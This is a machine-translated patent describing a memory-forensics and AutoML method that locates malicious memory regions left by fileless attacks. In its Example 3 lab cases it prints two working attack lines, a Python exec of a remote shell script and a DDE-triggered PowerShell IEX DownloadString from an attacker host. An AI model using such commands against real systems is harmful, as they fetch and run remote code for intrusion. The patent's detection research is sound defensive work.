Fileless attack investigation method and system based on memory forensics
By extracting the virtual address descriptor node of the memory image and automated machine learning technology, it solves the problem of coarse-grained detection of fileless malware, achieves precise location and fine-grained investigation of malicious memory areas, and improves the efficiency and accuracy of attack investigations. sex.
Patent Information
- Application Number
- CN202311414040.6
- Authority / Receiving Office
- CN · China
- Patent Type
- Patents(China)
- Current Assignee / Owner
- Filing Date
- 2023-10-30
- Publication Date
- 2024-09-17
- Estimated Expiration
- Not applicable · inactive patent
AI Technical Summary
When the existing technology detects fileless malware, the detection granularity is relatively coarse and cannot accurately locate the malicious virtual memory area, making it difficult to conduct fine-grained attack investigations.
By extracting the virtual address descriptor node of the memory image as a sample, use the automated machine learning library for feature extraction and model training, deduplicate and normalize the data set, divide the training set and the test set, select the optimal model for testing, and verify the analysis. Malicious samples to enable fine-grained investigation of fileless attacks.
It achieves accurate identification of fileless malware and precise location of malicious memory areas, improves the accuracy and efficiency of attack investigations, reduces the workload of analysts, and covers a variety of fileless attack types.
Smart Images

Figure CN117478373B
Abstract
Description
Technical Field
[0001] The present invention belongs to the technical field of network security attack investigation, and in particular relates to a fileless attack investigation method and system based on memory forensics. Background Art
[0002] While modern fileless malware uses various techniques to evade detection, researchers have been exploring memory forensics as a method to detect such attacks. A common approach is to use the existing Volatility memory forensics plugin to extract features and use machine learning algorithms for classification; another approach is to convert memory images into image representations and use deep learning techniques for detection. However, these methods use memory images as samples to determine whether the host is compromised, or use processes in memory images as samples to identify malicious processes. However, the granularity of detection is still relatively coarse and cannot be located in specific memory areas. Therefore, to meet these challenges, further research is needed to conduct fine-grained investigations on fileless attacks, with the goal of identifying malicious processes and accurately locating malicious virtual memory areas. Summary of the invention
[0003] Based on the above technical problems, the present invention provides a fileless attack investigation method and system based on memory forensics, which effectively helps analysts investigate fileless malware attacks by extracting features and accurately identifying and locating suspicious memory areas.
[0004] The present invention provides a fileless attack investigation method based on memory forensics, the method comprising:
[0005] Step S1: respectively running benign samples and implementing fileless attacks to obtain memory images; the fileless attack types include code injection, script attack and off-site attack; the memory images include malicious sample memory images and benign sample memory images;
[0006] Step S2: taking the virtual address descriptor node of each memory image as a sample, and extracting the features of the memory area corresponding to the sample;
[0007] Step S3: performing a deduplication operation on the samples and normalizing the values of the samples to construct a data set;
[0008] Step S4: dividing the data set into a training set and a test set, performing model training on the training set using an automated machine learning library, selecting an optimal model, applying the optimal model to the data set for testing, and obtaining a test result;
[0009] Step S5: According to the test results, verify and analyze the tested malicious samples.
[0010] Optionally, the steps of respectively running the benign sample and implementing the fileless attack to obtain the memory image specifically include:
[0011] The fileless attack types include code injection, script attacks, and off-site attacks;
[0012] The code injection features include function, binary, code, encrypted information, countermeasure, memory, Trojan and attack framework;
[0013] The script attack features include malicious character strings, neutral character strings and scripts, which are used to detect malicious command prompt scripts, neutral command prompt scripts and other malicious scripts respectively;
[0014] The off-the-ground attack features include off-the-ground attacks, remote desktop protocols, and dark web communication protocols;
[0015] The memory image includes a malignant sample memory image and a benign sample memory image.
[0016] Optionally, taking the virtual address descriptor node of each of the memory images as a sample and extracting features of the memory area corresponding to the sample specifically includes:
[0017] Obtaining a feature set of a memory area corresponding to the sample;
[0018] A plug-in is set based on a memory forensics framework to extract features of the feature set.
[0019] Optionally, performing a deduplication operation on the samples and normalizing the values of the samples to construct a data set specifically includes:
[0020] Convert the sample into set elements, remove duplicates, and convert back to the original data type;
[0021] The normalization operation formula is:
[0022]
[0023] In the formula, x 标 is the result after the Min-Max normalization conversion function processing, x is the data of the sample, x max is the maximum value of the sample data, x min is the minimum value of the sample data.
[0024] Optionally, dividing the data set into a training set and a test set, performing model training on the training set using an automated machine learning library, selecting an optimal model, applying the optimal model to the data set for testing, and obtaining a test result specifically includes:
[0025] Dividing the data set into a training set and a test set, and randomly assigning the samples;
[0026] Using an automated machine learning library to perform model training on the training set, comparing evaluation indicators of different models based on output results, and selecting the model with the highest accuracy on the training set as the optimal model;
[0027] Applying the optimal model to the test set for testing, obtaining the prediction output of the optimal model, and calculating the evaluation index of the optimal model on the test set;
[0028] According to the evaluation indicators on the test set, it is judged whether the optimal model achieves the expected goal. If not satisfactory, the parameters are adjusted and retraining and testing are performed; if satisfactory, the model is deployed to practical applications.
[0029] The present invention also provides a fileless attack investigation system based on memory forensics, the system comprising:
[0030] A memory image acquisition module is used to respectively run benign samples and implement fileless attacks to obtain memory images; the fileless attack types include code injection, script attack and off-site attack; the memory images include malicious sample memory images and benign sample memory images;
[0031] A feature extraction module, used to take the virtual address descriptor node of each memory image as a sample and extract the features of the memory area corresponding to the sample;
[0032] A data processing module, used to perform a deduplication operation on the samples and normalize the values of the samples to construct a data set;
[0033] An automatic machine learning module is used to divide the data set into a training set and a test set, use an automatic machine learning library to perform model training on the training set, select an optimal model, apply the optimal model to the data set for testing, and obtain a test result;
[0034] The verification and analysis module is used to perform verification and analysis on the tested malicious samples according to the test results.
[0035] Optionally, the memory image acquisition module specifically includes:
[0036] The fileless attack types include code injection, script attacks, and off-site attacks;
[0037] The code injection features include function, binary, code, encrypted information, countermeasure, memory, Trojan and attack framework;
[0038] The script attack features include malicious character strings, neutral character strings and scripts, which are used to detect malicious command prompt scripts, neutral command prompt scripts and other malicious scripts respectively;
[0039] The off-the-ground attacks include off-the-ground attacks, remote desktop protocols, and dark web communication protocols;
[0040] The memory image includes a malignant sample memory image and a benign sample memory image.
[0041] Optionally, the feature extraction module specifically includes:
[0042] A feature set acquisition submodule, used to acquire a feature set of a memory area corresponding to the sample;
[0043] The feature extraction submodule is used to set a plug-in based on the memory forensics framework to extract features of the feature set.
[0044] Optionally, the data processing module specifically includes:
[0045] A de-duplication operation submodule, used for converting the samples into set elements, removing duplicates, and then converting back to the original data type;
[0046] The normalization operation formula is:
[0047]
[0048] In the formula, x 标 is the result after the Min-Max normalization conversion function processing, x is the data of the sample, x max is the maximum value of the sample data, x min is the minimum value of the sample data.
[0049] Optionally, the automatic machine learning module specifically includes:
[0050] A data set division submodule, used to divide the data set into a training set and a test set, and randomly distribute the samples;
[0051] A model training submodule is used to perform model training on the training set using an automated machine learning library, compare evaluation indicators of different models based on output results, and select the model with the highest accuracy on the training set as the optimal model;
[0052] A model testing submodule is used to apply the optimal model to the test set for testing, obtain the prediction output of the optimal model, and calculate the evaluation index of the optimal model in the test set;
[0053] The model judgment submodule is used to judge whether the optimal model achieves the expected goal based on the evaluation indicators on the test set. If not satisfactory, the parameters are adjusted and re-training and testing are performed; if satisfactory, the model is deployed in actual applications.
[0054] Compared with the prior art, the present invention has the following beneficial effects:
[0055] The present invention will cover process injection, script-based attacks, and a fileless attack investigation system that combines out-of-the-box attacks, which has a certain improvement over the value of only detecting memory injection; using memory descriptors (memory areas) as samples, the samples contain designated memory areas of specific processes, and automatically identify malicious memory areas, which can guide attack investigators to further use memory forensics to deeply analyze the contents of memory areas and reduce the workload of analysts; a custom plug-in based on the volatility memory forensics tool is implemented to extract memory image features; and multiple types of fileless attacks are implemented at the same time to construct a memory image data set. BRIEF DESCRIPTION OF THE DRAWINGS
[0056] Figure 1 It is a flow chart of the fileless attack investigation method based on memory forensics of the present invention;
[0057] Figure 2 It is a structural diagram of the fileless attack investigation system based on memory forensics of the present invention;
[0058] Figure 3 This is a Python-based fileless attack investigation diagram of the present invention;
[0059] Figure 4 It is a schematic diagram of the attack command of the present invention;
[0060] Figure 5 Schematic diagram of malicious script content of the present invention. DETAILED DESCRIPTION
[0061] The present invention is further described below in conjunction with specific implementation cases and drawings, but the present invention is not limited to these embodiments.
[0062] Example 1
[0063] like Figure 1 As shown, the present invention discloses a fileless attack investigation method based on memory forensics, the method comprising:
[0064] Step S1: Run benign samples and implement fileless attacks respectively to obtain memory images; fileless attack types include code injection, script attack and off-site attack; memory images include malicious sample memory images and benign sample memory images.
[0065] Step S2: Take the virtual address descriptor node of each memory image as a sample and extract the features of the memory area corresponding to the sample.
[0066] Step S3: perform a deduplication operation on the samples and normalize the sample values to construct a data set.
[0067] Step S4: Divide the data set into a training set and a test set, use the automated machine learning library to perform model training on the training set, select the optimal model, apply the optimal model to the data set for testing, and obtain the test results.
[0068] Step S5: Based on the test results, verify and analyze the tested malicious samples.
[0069] The following is a detailed discussion of each step:
[0070] Step S1: Run the benign sample and implement the fileless attack respectively to obtain the memory image.
[0071] Step S1 specifically includes:
[0072] The code injection detection features include API (function), Binary, Code, Cryptography, Countermeasure, Memory, Trojan, as well as detection for existing attack frameworks Metasploit and Cobalt Strike.
[0073] Detect malicious script attack features, designed three different features: malicious string, neutral string and script. Used to detect malicious PowerShell (command prompt) scripts, neutral PowerShell scripts and other types of malicious scripts. Developed Maldoc (malicious document) features for malicious document attack vectors in fileless attacks, built Yara rules to identify known CVE vulnerabilities and malicious VBA usage in memory areas.
[0074] The detection is based on the characteristics of off-site attacks (Lolbins), and yara rules are designed. These rules are used to detect whether Lolbins exists in the memory area; in addition, the vnc_dark function is designed. This function detects whether VNC (Remote Desktop Protocol) and dark network protocols exist in the memory area.
[0075] By running benign samples and implementing fileless attacks separately, a memory image is obtained on the target system without triggering any file monitoring or protection mechanism; a memory image is a file that saves all data and status in the system memory at a certain moment, which can be used to analyze system operation or restore system status.
[0076] Two types of memory images are obtained: malicious sample memory images and benign sample memory images. Malicious sample memory images refer to memory images of systems infected or affected by fileless attacks, which may contain traces of malicious code or abnormal behavior. Benign sample memory images refer to memory images of systems that are not infected or affected by fileless attacks, which do not contain any traces of malicious code or abnormal behavior.
[0077] In this embodiment, the fileless attack types include code injection, script attack and off-site attack; the memory image includes malicious sample memory image and benign sample memory image.
[0078] Referring to the behavior of real attackers, we simulated fileless attacks on virtual machines. After the attack was completed, we captured a memory snapshot to obtain the memory image of the malicious sample. Benign samples were executed for reference and the memory image was captured. Due to the limitations of the triggering conditions of fileless attacks, manual execution was adopted to ensure that the memory image was collected while the attack was connected. The operation of benign samples and the collection of memory images were implemented using automated scripts.
[0079] Step S2: Take the virtual address descriptor node of each memory image as a sample and extract the features of the memory area corresponding to the sample.
[0080] Step S2 specifically includes:
[0081] A virtual address descriptor (VAD) is a data structure used to describe the properties and status of each memory area in the virtual address space of a process. A VAD tree is a balanced binary tree used to store and manage all VAD nodes of a process. By traversing the VAD tree, information about all memory areas of the process is obtained, including the start address, end address, protection attributes, memory type, memory status, mapping files, etc. Each VAD node of each memory image is taken as a sample to extract the features of its corresponding memory area for subsequent machine learning analysis. The features that can be extracted include the following:
[0082] Basic characteristics include the size, protection attributes, memory type, and memory status of the memory area. These characteristics can reflect the basic properties and uses of the memory area.
[0083] Content features include strings, binary data, API calls, sensitive information, etc. in the memory area. These features can reflect the specific content and functions of the memory area.
[0084] Behavioral features, including code execution, code injection, code modification, code obfuscation, etc. in the memory area. These features can reflect dynamic behaviors and abnormal situations in the memory area.
[0085] Get the feature set of the memory area corresponding to the sample, including:
[0086] Get the memory feature set of the memory area, including is_sparse, protection, hbcia_strings, tag, mem_map, threads, private, network_string, persistence, victim_string, and is_heap. Among them, is_sparse, protection, tag, mem_map, threads, private, and is_heap are obtained by statistical information or reading memory status. hbcia_strings, network_string, victim_string, and persistence are obtained by building yara rules to scan the memory area.
[0087] Get the function feature set of the memory area, including the three features of api_general_string, api_dynamic_loading, and api_hashing, by constructing regular expressions or using Yara rule matching.
[0088] Get the binary feature set of the memory area, including seven features: pe_or_dll, is_module, exports, has_header, is_dynamic_library, imports, and wiped_header. The feature design is to judge and set by reading specific fields or flags.
[0089] Get the code feature set of the memory area, including indirect_calls, indirect_jmps, functions, shellcode, and hooks. The first two features are matched by regular expressions, and the last three features are matched by yara rules.
[0090] Get the countermeasure feature set of the memory area, including debugger, sandbox, and vm features, all of which are matched using Yara rules.
[0091] Get the encryption information feature set of the memory area, including cipher, encoding, and hashing features, all of which are matched using Yara rules.
[0092] Get the Trojan feature set in the memory area, including cookies and crenditials, and extract them by setting Yara rules.
[0093] Get the fileless feature set of the memory area, including eight features: msf, cobalt, malstring, neutral, script, lolbin, mal_doc, and vnc_dark, all of which are matched using yara rules.
[0094] In this embodiment, memory mirroring is data collection of all current processes of the host. The host has multiple processes, each process has multiple virtual address descriptors, and the virtual address descriptor is a memory area (start and end addresses). Using the virtual address descriptor as a sample, a memory area of a specific process can be located.
[0095] In this embodiment, the feature design of the memory area is shown in Table 1, with a total of eight categories and 42 features. The feature set includes a memory feature set, a function feature set, a binary feature set, a code feature set, an encrypted information feature set, a countermeasure feature set, a Trojan feature set, and a fileless feature set.
[0096] Table 1. Feature design of memory area
[0097]
[0098]
[0099] Set up a plug-in based on the memory forensics framework to extract the features of the feature set, including:
[0100] Use the volatility memory forensics open source tool to write a custom memory forensics plug-in to extract the features of the feature set.
[0101] Step S3: perform a deduplication operation on the samples and normalize the sample values to construct a data set.
[0102] Step S3 specifically includes:
[0103] Convert samples to set elements, remove duplicates, and then convert back to the original data type.
[0104] In this embodiment, a set data structure is used to convert samples into set elements, automatically remove duplicates, and then convert them back to the original data type. The principle of this method is to use the characteristics of the set, that is, the elements in the set are unordered and do not allow duplication. Therefore, when converting samples into set elements, duplicate samples will be automatically deleted. Then the set is converted back to the original data type. The advantage of this method is that it is simple and easy to use, and does not require additional space and time overhead.
[0105] The normalization operation formula is:
[0106]
[0107] In the formula, x 标 is the result after Min-Max normalization conversion function processing, x is the sample data, x max is the maximum value of the sample data, x min is the minimum value of the sample data.
[0108] Step S4: Divide the data set into a training set and a test set, use the automated machine learning library to perform model training on the training set, select the optimal model, apply the optimal model to the data set for testing, and obtain the test results.
[0109] Step S4 specifically includes:
[0110] The data set is divided into a training set and a test set, and samples are usually randomly allocated in a certain proportion (such as 80% and 20%) to ensure the representativeness and independence of the training set and the test set.
[0111] Use the automated machine learning library (AutoML) to train the model on the training set. AutoML is a method that uses machine learning technology to automatically complete the machine learning process, including data preprocessing, feature engineering, model selection, hyperparameter optimization and other steps. AutoML can save the time and cost of manual model debugging and improve the performance and interpretability of the model.
[0112] Select the optimal model (extremely randomized tree), compare the evaluation indicators of different models (such as accuracy, recall, F1 score, etc.) based on the output results of AutoML, and select the model with the best performance on the training set as the optimal model.
[0113] The optimal model is applied to the test set for testing. The data of the test set is used as input to obtain the model's predicted output, which is then compared with the true label of the test set. The evaluation index of the model on the test set is calculated to reflect the generalization ability and stability of the model.
[0114] After getting the test results, we can judge whether the model has achieved the expected goal based on the evaluation indicators on the test set. If we are not satisfied, we can adjust the parameters or data set of AutoML and retrain and test. If we are satisfied, we can deploy the model to actual applications.
[0115] In this embodiment, an investigation is conducted on fileless attacks, wherein the AUC value is 98%, the Recall value is 93%, the Precision value is 96.4%, and the F1 value is 94.7%.
[0116] Step S5: Based on the test results, verify and analyze the tested malicious samples.
[0117] Step S5 specifically includes:
[0118] Based on the test results, some malicious samples were identified. These samples need to be further verified to confirm whether they contain malicious code, malicious behavior, or features related to known attack payloads; professional security tools and memory forensics techniques can be used to analyze the content and structure of the samples.
[0119] When using Volatility, you need to specify the file path of the memory image and the version of the operating system in order to correctly identify the memory structure. For example, if the memory image file is memory.img and the operating system is Windows 10, you can use the following command:
[0120] volatility-fmemory.img--profile=Win10x64
[0121] Memory forensics, using memory forensics technology, conducts in-depth analysis and review of malicious memory samples. By extracting key information in the memory, such as processes, threads, registry, network connections, etc., we can understand the behavior and activities of malicious samples in the system and identify their possible attack payloads.
[0122] By using these plugins, you can perform verification analysis on malicious memory samples, such as:
[0123] Through the pslist or psscan plug-in, you can check whether there are abnormal or hidden processes running, and record their process IDs and names; through the netscan plug-in, you can check whether there are abnormal or unknown network connections or sockets, and record their related processes and remote addresses; through the cmdline or dlllist plug-in, you can check whether there are abnormal or suspicious command line parameters or dynamic link libraries, and record their paths or contents; through the malfind or apihooks plug-in, you can check whether there are malicious code injections or API hooks, and dump them to a file for disassembly or decompilation analysis; through the hivelist or printkey plug-in, you can check whether there are abnormal or modified registry keys, and record their key values or data; through the hashdump plug-in, you can check whether there are stolen or cracked user account password hash values, and try to recover the plaintext password. Through vaddump, you can dump the contents of the virtual address descriptor (VAD) of a process to a file. The vaddump plug-in can be used to extract data from memory areas that are not mapped to files, such as heaps, stacks, or injected code.
[0124] Threat identification and response: Based on the results of verification and analysis, identify the security threats in the system and formulate corresponding security response strategies. This may include fixing system vulnerabilities, updating security policies, strengthening network monitoring and other measures to strengthen the system's security defense capabilities and reduce future security risks.
[0125] Example 2
[0126] like Figure 2 As shown, the present invention discloses a fileless attack investigation system based on memory forensics, the system comprising:
[0127] The memory image acquisition module 10 is used to respectively run benign samples and implement fileless attacks to obtain memory images; fileless attack types include code injection, script attacks and off-site attacks; memory images include malicious sample memory images and benign sample memory images.
[0128] The feature extraction module 20 is used to take the virtual address descriptor node of each memory image as a sample and extract the features of the memory area corresponding to the sample.
[0129] The data processing module 30 is used to perform a deduplication operation on the samples and normalize the numerical values of the samples to construct a data set.
[0130] The automatic machine learning module 40 is used to divide the data set into a training set and a test set, use the automatic machine learning library to perform model training on the training set, select the optimal model, apply the optimal model to the data set for testing, and obtain the test results.
[0131] The verification and analysis module 50 is used to perform verification and analysis on the tested malicious samples according to the test results.
[0132] As an optional implementation mode, the memory mirroring acquisition module 10 of the present invention specifically includes:
[0133] Fileless attack types include code injection, script attacks, and off-the-land attacks.
[0134] Code injection signatures include function, binary, code, encrypted information, countermeasure, memory, trojan, and attack framework.
[0135] Script attack features include malicious strings, neutral strings, and scripts, which are used to detect malicious command prompt scripts, neutral command prompt scripts, and other malicious scripts, respectively.
[0136] Features of off-the-ground attacks include off-the-ground attacks, remote desktop protocols, and dark web communication protocols.
[0137] Memory images include malicious sample memory images and benign sample memory images.
[0138] As an optional implementation, the feature extraction module 20 of the present invention specifically includes:
[0139] The feature set acquisition submodule is used to obtain the feature set of the memory area corresponding to the sample.
[0140] The feature extraction submodule is used to set up plug-ins based on the memory forensics framework and extract features of the feature set.
[0141] As an optional implementation, the data processing module 30 of the present invention specifically includes:
[0142] The deduplication operation submodule is used to convert samples into set elements, remove duplicates, and then convert them back to the original data type.
[0143] The normalization operation formula is:
[0144]
[0145] In the formula, x 标 is the result after Min-Max normalization conversion function processing, x is the sample data, x max is the maximum value of the sample data, x min is the minimum value of the sample data.
[0146] As an optional implementation, the automatic machine learning module 40 of the present invention specifically includes:
[0147] The data set partitioning submodule is used to partition the data set into training and testing sets and randomly assign samples.
[0148] The model training submodule is used to use the automated machine learning library to perform model training on the training set. Based on the output results, the evaluation indicators of different models are compared, and the model with the highest accuracy on the training set is selected as the optimal model.
[0149] The model testing submodule is used to apply the optimal model to the test set for testing, obtain the prediction output of the optimal model, and calculate the evaluation index of the optimal model in the test set.
[0150] The model judgment submodule is used to judge whether the optimal model achieves the expected goal based on the evaluation indicators on the test set. If it is not satisfactory, the parameters are adjusted and re-training and testing are performed; if it is satisfactory, the model is deployed to actual applications.
[0151] Example 3
[0152] This example is analyzed in combination with the experimental content, and the steps are as follows:
[0153] Attack process: Use cobaltstrike to build a website on the attacking machine (192.168.233.139), deploy the shell.py script, and open a TCP rebound shell connection.
[0154] The target machine runs the following script: python –c "import urllib2; exec urllib2.urlopen('http: / / 192.168.233.139:8000 / shell.py').read();".
[0155] Establish a channel from the attacking machine to the target machine to complete the fileless attack. Capture the system memory image and detect malicious processes and their malicious memory areas. Figure 3 As shown, each sample contains the "Address" field in the format: ImageName_ProcessID_ProcessName_VADStartAddress_VADEnd-Address. For example, a specific sample named 014.vmem_3488_python.exe_0x1480000_0x14bdfff is detected as a malicious sample. The case study involves a memory image named "014.vmem" which is associated with a process ID named "3488" and a process name named "python.exe". The memory region of interest corresponds to the virtual address descriptor with a start address of "0x1480000" and an end address of "0x14bdfff".
[0156] Using the Volatility plugin "vaddump", the specified memory area was exported. Then, Neo was used to open the exported dmp file and CobaltStrike's "beacon.dll" (such as Figure 3 ), as well as information about reverse code injection-related capabilities.
[0157] This embodiment is analyzed in combination with a case, and the steps are as follows:
[0158] Generate a malicious PowerShell script x1.ps1 on the attacking machine, enable reverse connection monitoring, construct an office document, and embed the DDE command, DDEAUTO C:\\windows\\system32\\cmd.exe" / kpowershell IEX(New-ObjectNet.WebClient).DownloadString('http: / / 192.168.233.146 / fileless_shell / x1.ps1')". Send the malicious document to the target user through a phishing email.
[0159] The target user opens the phishing email attachment on the target machine and allows DDE to be executed, which will establish a connection channel between the attacking machine and the target machine, thus achieving a fileless attack. The memory image is captured, and the application model detects the following two samples as malicious.
[0160] Sample 1: 008.vmem_2280_powershell.exe_0x1d30000_0x3d2ffff
[0161] Sample 2: 008.vmem_2280_powershell.exe_0x1d30000_0x3d2ffff
[0162] The two samples represent the 008 memory image, the process powershell, the process ID is 2280, and the malicious memory areas are 0x1d30000_0x3d2ffff and 0x1d30000_0x3d2ffff. Use vaddump to export the specified memory area, such as Figure 4 and Figure 5 As shown, the attack command and the malicious script content of x1.ps1 are seen, and the accuracy and feasibility of the present invention are proved through experimental verification and case analysis.
[0163] The above description is only a preferred embodiment of the present invention and is not intended to limit the present invention. For those skilled in the art, the present invention may have various modifications and variations. Any modification, equivalent replacement, improvement, etc. made within the spirit and principle of the present invention shall be included in the protection scope of the present invention.
Claims
1. A fileless attack investigation method based on memory forensics, characterized by: The method comprises: Step S1: Run the benign sample and implement the fileless attack respectively to obtain the memory image, including: The fileless attack types include code injection, script attacks, and off-site attacks; The code injection features include function, binary, code, encrypted information, countermeasure, memory, Trojan and attack framework; The script attack features include malicious character strings, neutral character strings and scripts, which are used to detect malicious command prompt scripts, neutral command prompt scripts and other malicious scripts respectively; The off-the-ground attack features include off-the-ground attacks, remote desktop protocols, and dark web communication protocols; The memory image includes a malignant sample memory image and a benign sample memory image; The fileless attack types include code injection, script attacks, and off-site attacks; The memory image includes a malignant sample memory image and a benign sample memory image; Step S2: taking the virtual address descriptor node of each memory image as a sample, extracting the features of the memory area corresponding to the sample, specifically including: Obtain a feature set of a memory area corresponding to the sample; the feature set includes a memory feature set, a function feature set, a binary feature set, a code feature set, a countermeasure feature set, an encrypted information feature set, a Trojan horse feature set, and a fileless feature set; The memory feature set includes zero byte ratio, protection attribute, host-based code injection function, tag, memory-mapped file, number of threads, private memory tag, network string, persistent string, host-based code injection victim process, and whether the memory area is a heap; zero byte ratio, protection attribute, tag, memory-mapped file, number of threads, private memory tag, and whether the memory area is a heap are obtained by statistical information or reading memory status; host-based code injection function, network string, host-based code injection victim process, and persistent string are obtained by building Yara rules and scanning and matching the memory area; The function feature set includes API call prefix, dynamic loading API, API hash, and the above features are achieved by constructing regular expressions or using Yara rule matching; The binary feature set includes executable files, library files, registered modules, export API calls, header beginning information, dynamically loaded modules, import API calls, and executable files without headers. The above features are judged and set by reading fields or flags; The code feature set includes the ratio of indirect calls to all calls, the ratio of indirect jumps to all jumps, the preamble of the assembly function, the code hooks, and the vulnerability code pattern; the ratio of indirect calls to all calls and the ratio of indirect jumps to all jumps are matched by constructing regular expressions, and the preamble of the assembly function, the code hooks, and the vulnerability code pattern are matched by constructing yara rules; The countermeasure feature set includes the string and code pattern of the debugger, the string and code pattern of the sandbox, and the string and code pattern of the virtual machine. The above features are achieved by building Yara rule matching; The encryption information feature set includes password constants, encoding scheme constants, and hash algorithm constants. The above features are achieved by building Yara rule matching; The Trojan feature set includes Cookie stealing strings and certificate stealing strings. The above features are achieved by building Yara rule matching; The fileless feature set includes attack features of the attack platform, malicious string counts, neutral string counts, script string counts, off-site attack strings, malicious documents, remote connection protocol strings, and dark web protocol strings. The above features are achieved by building Yara rule matching; Setting a plug-in based on a memory forensics framework to extract features of the feature set; Step S3: performing a deduplication operation on the samples and normalizing the values of the samples to construct a data set; Step S4: dividing the data set into a training set and a test set, performing model training on the training set using an automated machine learning library, selecting an optimal model, applying the optimal model to the data set for testing, and obtaining test results, specifically including: Dividing the data set into a training set and a test set, and randomly assigning the samples; Using an automated machine learning library to perform model training on the training set, comparing evaluation indicators of different models based on output results, and selecting the model with the highest accuracy on the training set as the optimal model; Applying the optimal model to the test set for testing, obtaining the prediction output of the optimal model, and calculating the evaluation index of the optimal model on the test set; According to the evaluation indicators on the test set, determine whether the optimal model achieves the expected goal. If not satisfactory, adjust the parameters and re-train and test; if satisfactory, deploy the model to actual applications; Step S5: According to the test results, verify and analyze the tested malicious samples.
2. The fileless attack investigation method based on memory forensics according to claim 1 is characterized in that: The deduplication operation is performed on the samples, and the numerical values of the samples are normalized to construct a data set, which specifically includes: Convert the sample into set elements, remove duplicates, and convert back to the original data type; The normalization operation formula is: ; In the formula, is the result after being processed by the Min-Max normalization conversion function. is the data of the sample, is the maximum value of the sample data, is the minimum value of the sample data.
3. A fileless attack investigation system based on memory forensics, characterized by: The system comprises: The memory image acquisition module is used to run benign samples and implement fileless attacks to obtain memory images, including: The fileless attack types include code injection, script attacks, and off-site attacks; The code injection features include function, binary, code, encrypted information, countermeasure, memory, Trojan and attack framework; The script attack features include malicious character strings, neutral character strings and scripts, which are used to detect malicious command prompt scripts, neutral command prompt scripts and other malicious scripts respectively; The off-the-ground attack features include off-the-ground attacks, remote desktop protocols, and dark web communication protocols; The memory image includes a malignant sample memory image and a benign sample memory image; The fileless attack types include code injection, script attacks, and off-site attacks; The memory image includes a malignant sample memory image and a benign sample memory image; The feature extraction module is used to take the virtual address descriptor node of each memory image as a sample and extract the features of the memory area corresponding to the sample, specifically including: A feature set acquisition submodule is used to acquire a feature set of a memory area corresponding to the sample; the feature set includes a memory feature set, a function feature set, a binary feature set, a code feature set, a countermeasure feature set, an encrypted information feature set, a Trojan feature set, and a fileless feature set; The memory feature set includes zero byte ratio, protection attribute, host-based code injection function, tag, memory-mapped file, number of threads, private memory tag, network string, persistent string, host-based code injection victim process, and whether the memory area is a heap; zero byte ratio, protection attribute, tag, memory-mapped file, number of threads, private memory tag, and whether the memory area is a heap are obtained by statistical information or reading memory status; host-based code injection function, network string, host-based code injection victim process, and persistent string are obtained by building Yara rules and scanning and matching the memory area; The function feature set includes API call prefix, dynamic loading API, API hash, and the above features are achieved by constructing regular expressions or using Yara rule matching; The binary feature set includes executable files, library files, registered modules, export API calls, header beginning information, dynamically loaded modules, import API calls, and executable files without headers. The above features are judged and set by reading fields or flags; The code feature set includes the ratio of indirect calls to all calls, the ratio of indirect jumps to all jumps, the preamble of the assembly function, the code hooks, and the vulnerability code pattern; the ratio of indirect calls to all calls and the ratio of indirect jumps to all jumps are matched by constructing regular expressions, and the preamble of the assembly function, the code hooks, and the vulnerability code pattern are matched by constructing yara rules; The countermeasure feature set includes the string and code pattern of the debugger, the string and code pattern of the sandbox, and the string and code pattern of the virtual machine. The above features are achieved by building Yara rule matching; The encryption information feature set includes password constants, encoding scheme constants, and hash algorithm constants. The above features are achieved by building Yara rule matching; The Trojan feature set includes Cookie stealing strings and certificate stealing strings. The above features are achieved by building Yara rule matching; The fileless feature set includes attack features of the attack platform, malicious string counts, neutral string counts, script string counts, off-site attack strings, malicious documents, remote connection protocol strings, and dark web protocol strings. The above features are achieved by building Yara rule matching; A feature extraction submodule, configured to extract features of the feature set based on a memory forensics framework plug-in; A data processing module, used to perform a deduplication operation on the samples and normalize the values of the samples to construct a data set; The automatic machine learning module is used to divide the data set into a training set and a test set, use the automatic machine learning library to perform model training on the training set, select the optimal model, apply the optimal model to the data set for testing, and obtain the test results, specifically including: A data set division submodule, used to divide the data set into a training set and a test set, and randomly distribute the samples; A model training submodule is used to perform model training on the training set using an automated machine learning library, compare evaluation indicators of different models based on output results, and select the model with the highest accuracy on the training set as the optimal model; A model testing submodule is used to apply the optimal model to the test set for testing, obtain the prediction output of the optimal model, and calculate the evaluation index of the optimal model in the test set; The model judgment submodule is used to judge whether the optimal model achieves the expected goal according to the evaluation indicators on the test set. If it is not satisfactory, the parameters are adjusted and the training and testing are performed again; if it is satisfactory, the model is deployed in actual applications; The verification and analysis module is used to perform verification and analysis on the tested malicious samples according to the test results.
4. The fileless attack investigation system based on memory forensics according to claim 3 is characterized in that: The data processing module specifically includes: A de-duplication operation submodule, used for converting the samples into set elements, removing duplicates, and then converting back to the original data type; The normalization operation formula is: ; In the formula, is the result after being processed by the Min-Max normalization conversion function. is the data of the sample, is the maximum value of the sample data, is the minimum value of the sample data.
